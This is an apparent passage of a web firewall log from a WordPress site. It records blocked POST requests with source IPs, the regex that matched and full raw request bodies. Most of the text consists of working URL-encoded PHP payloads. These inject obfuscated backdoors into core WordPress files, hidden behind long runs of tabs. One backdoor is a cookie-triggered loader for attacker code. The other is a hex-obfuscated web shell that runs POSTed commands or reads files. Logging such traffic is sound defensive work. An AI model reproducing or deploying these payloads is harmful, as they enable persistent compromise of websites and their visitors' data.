%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4349\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:49:10","164.52.218.210","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5535\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\noA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:49:21","57.128.189.50","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrzZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5535\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nzc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/latest-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524entry1%2520%253D%2520%2527737%2527%253B%2524entry2%2520%253D%2520%252756d%2527%253B%2524entry3%2520%253D%2520%2527657%2527%253B%2524entry4%2520%253D%2520%2527173%2527%253B%2524entry5%2520%253D%2520%2527468%2527%253B%2524entry6%2520%253D%2520%2527472%2527%253B%2524entry7%2520%253D%2520%2527656%2527%253B%2524entry8%2520%253D%2520%2527f63%2527%253B%2524entry9%2520%253D%2520%2527706%2527%253B%2524entry10%2520%253D%2520%2527726%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry1.%2527973%2527.%2527746%2527.%2524entry2%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2527865%2527.%25276c6%2527.%2527c5f%2527.%2524entry3.%2527865%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524entry4.%2527737%2527.%2524entry5.%2527727%2527%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527f70%2527.%2527656%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524entry6.%2524entry7.%252716d%2527.%25275f6%2527.%2527765%2527.%2527745%2527.%2524entry8.%25276f6%2527.%2527e74%2527.%2524entry7.%2527e74%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry9.%252736c%2527.%25276f7%2527.%2527365%2527%2529%253B%2524reverse_lookup%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524entry10.%2527576%2527.%2524entry3.%2527273%2527.%2527655%2527.%2527f6c%2527.%25276f6%2527.%2527f6b%2527.%2527757%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524reverse_lookup%255D%2529%2529%257B%2524reverse_lookup%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524reverse_lookup%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524reverse_lookup%252C%2524bind_flg%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524bind_flg%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524reverse_lookup%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524obj_tkn%253D%2524mutex_lock5%2528%2524reverse_lookup%252C%2522r%2522%2529%253Bif%2528%2524obj_tkn%2529%257B%2524desc_value%253D%2524mutex_lock6%2528%2524obj_tkn%2529%253B%2524mutex_lock7%2528%2524obj_tkn%2529%253Bprint%2520%2524desc_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
